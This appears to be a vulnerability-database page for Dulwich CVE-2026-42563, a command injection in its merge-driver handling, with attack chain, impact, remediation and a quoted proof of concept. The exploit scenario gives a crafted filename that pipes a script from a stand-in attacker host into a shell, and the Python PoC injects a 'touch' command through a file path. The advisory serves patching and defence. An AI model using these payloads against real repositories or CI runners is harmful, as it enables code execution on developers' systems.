Dulwich CVE-2026-42563
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker creates branch in fork
-
DeliveryAdds file with shell-metachar path
-
ExploitVictim fetches and initiates merge
-
ExecutionDulwich invokes ProcessMergeDriver with %P
-
Persistsubprocess.run(shell=True) interprets path
-
ImpactInjected commands run as victim user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires all of: (1) the victim runs a Dulwich version between 0.24.0 and 1.2.4 inclusive; (2) the victim's Git configuration (in .gitattributes plus a [merge "<name>"] section in repo, global or system config) defines a custom merge driver whose driver command string contains the %P placeholder - this is a non-default opt-in configuration; (3) the victim actually performs a merge (or a Dulwich-driven operation such as merge_blobs / porcelain merge) that pulls in a tree from an attacker-controlled branch; and (4) the attacker can choose tree entry path names, i.e. they control or contribute to the merged branch. There are no platform constraints (any OS where Dulwich invokes a POSIX-style shell is affected), and no authentication is required of the attacker beyond the ability to publish a branch the victim will merge. |
| Impact | The vendor CVSS 4.0 score of 7.7 (High) reflects two competing signals: the attack vector is network-reachable (AV:N) because a malicious repository or branch can be delivered over Git, but exploitation requires both a specific Attack Requirement (AT:P - the victim must have a custom merge driver configured that uses %P) and active User Interaction (UI:P - the victim must actually perform the merge). This is not a wormable, default-configuration RCE; it is an opportunistic supply-chain-style attack against developers and CI systems that have opted into custom merge drivers. A working public POC raises priority for affected deployments, but EPSS and CISA KEV data are not provided, so widespread mass exploitation cannot be assumed - treat this as a high-priority patch for downstream tools that embed Dulwich and accept untrusted branches (forge servers, CI runners, code-review bots) rather than a universal emergency for every Dulwich user. |
| Exploit ScenarioDerived | An attacker pushes a branch to a public fork or untrusted remote in which a tracked file is named with embedded shell metacharacters (e.g. 'x; curl attacker.tld/sh | sh #'). A maintainer or CI bot using a Dulwich-based tool with a custom merge driver registered for that file pattern (using %P) then merges the branch, at which point ProcessMergeDriver constructs a shell command with the malicious path interpolated and subprocess.run with shell=True executes the injected command under the merging user's identity. A complete working POC is published in the GHSA advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv3 – Jun 10, 2026
Command injection in Dulwich (pure-Python Git implementation) versions >= 0.24.0 and < 1.2.5 allows remote attackers to execute arbitrary OS commands when a victim merges an attacker-controlled branch and has a custom merge driver configured that references the %P placeholder. The ProcessMergeDriver passes attacker-controlled file paths from the git tree into subprocess.run with shell=True, so a path like 'x; touch /tmp/pwned #' is interpreted as a shell metacharacter sequence. Publicly available exploit code exists (working POC in the GitHub Security Advisory GHSA-9277-mp7x-85jf); no public exploit in CISA KEV at time of analysis.
Earlier versions of this analysis (2)
Command injection in Dulwich (pure-Python Git implementation) versions 0.24.0 through 1.2.4 allows remote attackers to achieve arbitrary code execution when a victim merges an attacker-controlled branch and has a custom merge driver configured with the %P placeholder. The ProcessMergeDriver substitutes attacker-controlled file paths from the Git tree directly into a shell command via subprocess.run(..., shell=True), enabling shell metacharacter injection. Publicly available exploit code exists (working POC published in the GHSA advisory), but no public exploit identified at time of analysis in the wild.
Command injection in Dulwich (pure-Python Git implementation) versions 0.24.0 through 1.2.4 allows arbitrary code execution when a victim merges an attacker-controlled branch while a merge driver using the %P placeholder is configured. The flaw stems from unsanitized file paths from the git tree being substituted into a shell command executed via subprocess.run(..., shell=True). A working proof-of-concept is published in the GHSA advisory, so publicly available exploit code exists, though no CISA KEV listing or EPSS data is provided.
RemediationAI
Vendor-released patch: upgrade Dulwich to version 1.2.5 or later (pip install --upgrade 'dulwich>=1.2.5'), which shell-quotes values substituted into ProcessMergeDriver commands per the security release notes at https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.5 and the advisory at https://github.com/jelmer/dulwich/security/advisories/GHSA-9277-mp7x-85jf. If immediate upgrade is not possible, remove any merge driver configuration that uses the %P placeholder from .gitattributes and .git/config (and from any system or global Git config consumed by Dulwich) - the side effect is loss of custom merge-driver behavior for the affected file patterns, falling back to the default three-way merge. As an operational compensating control, avoid merging branches from untrusted remotes through Dulwich-based tooling (including automated bots and CI pipelines that fetch arbitrary fork branches) until the upgrade is rolled out; the trade-off is reduced automation throughput for fork/PR workflows.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Dulwich is a pure-Python implementation of the Git file formats and protocols, widely embedded in development tooling, build systems and Git hosting code. The flaw is a classic CWE-78 OS command injection in dulwich/merge_drivers.py (lines 119-129): the ProcessMergeDriver builds a shell command by string-substituting the file's repository path into the %P placeholder of the configured merge.<driver>.driver command, then runs it via subprocess.run(cmd, shell=True). Because the path originates from the merge tree (merge.py line 195) and Git tree entry names are not constrained to shell-safe characters, an attacker who controls a branch can choose a path that contains shell metacharacters such as ';', '|' or backticks, which the shell then interprets as additional commands. The fix shell-quotes substituted values before invoking the shell.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Delivered via network-reachable Git branch (AV:N); requires non-default %P merge driver config (AC:H); attacker needs no privileges (PR:N); victim must perform the merge (UI:R); shell RCE yields full C/I/A:H.
Primary rating from Vendor (https://github.com/jelmer/dulwich).
CVSS VectorVendor: https://github.com/jelmer/dulwich
Lifecycle Timeline
3DescriptionCVE.org
Summary
Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.
Description
- Type: Command Injection
- Source:
merge.pyline 195 - path from merge tree (from repository content when merging untrusted branch) - Sink:
merge_drivers.pylines 124-127 -subprocess.run(cmd, shell=True)wherecmdincludes path via%Pplaceholder - Impact: Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the
%Pplaceholder.
Resources
- Repository: https://github.com/dulwich/dulwich
- Vulnerable file:
dulwich/merge_drivers.py(lines 119-129)
Proof of Concept
from dulwich.attrs import GitAttributes, Pattern
from dulwich.config import ConfigDict
from dulwich.merge import merge_blobs
from dulwich.objects import Blob
# Merge driver with %P (path) - typical for custom merge tools
config = ConfigDict()
config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")
patterns = [(Pattern(b"*"), {b"merge": b"injectable"})]
gitattributes = GitAttributes(patterns)
base = Blob.from_string(b"base")
ours = Blob.from_string(b"ours")
theirs = Blob.from_string(b"theirs")
# Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned"
malicious_path = b"x; touch /tmp/pwned #"
merge_blobs(base, ours, theirs, path=malicious_path,
gitattributes=gitattributes, config=config)
# => Executes: echo x; touch /tmp/pwned
#
# => Shell runs: echo x, then touch /tmp/pwnedFix
Executive ViewAI
Dulwich, a pure-Python Git library used in development and build environments, contains a vulnerability enabling arbitrary code execution when developers merge attacker-controlled branches configured with custom merge settings. Organizations using affected versions (0.24.0 through 1.2.4) face potential compromise of code repositories, build systems, and development infrastructure. Publicly available exploit code exists, requiring urgent vulnerability remediation across all affected systems.
Apply vendor patch: upgrade Dulwich to version 1.2.5 or later. Interim mitigation if patching is delayed: disable or restrict custom merge drivers with %P placeholder usage; restrict merge operations to verified trusted code sources until patches are deployed.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)CVE.org
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-78 – OS Command Injection
View allVendor StatusVendor
SUSE
| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
GHSA-9277-mp7x-85jf
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB